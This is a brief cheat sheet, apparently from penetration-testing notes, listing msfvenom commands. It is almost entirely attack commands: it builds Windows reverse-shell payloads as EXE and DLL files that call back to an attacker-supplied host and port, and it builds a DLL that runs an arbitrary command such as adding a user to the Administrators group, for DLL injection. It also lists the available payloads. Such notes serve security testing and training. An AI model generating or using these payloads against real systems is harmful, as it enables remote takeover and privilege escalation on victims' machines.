MSFvenom – a Metasploit standalone payload generator
>msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[p] -f dll > output.dll
Create a dll for a dll injection attack to get a reverse shell
>msfvenom -p windows/shell_reverse_tcp LHOST=[IP] LPORT=[p] -f exe -o rev1.exe
Create a exe to get a reverse shell. If netcat is the listener you need to use this. Some payload can only be caught by Metasploit hanlder so be sure you are using the correct listener.
>msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=[IP] LPORT=[p] -f exe -o rev.exe
Create a exe to get a reverse shell
>msfvenom --list payloads
>msfvenom --list payloads | grep stage[rd]
>msfvenom --list payloads | grep -v stage[rd]
Use it with grep to check the details of each payload
>msfvenom -p windows/x64/exec cmd='cmd like add user to Administrators group' --platform windows -f dll > output.dll
Create a dll for a dll injection attack to remote execute a command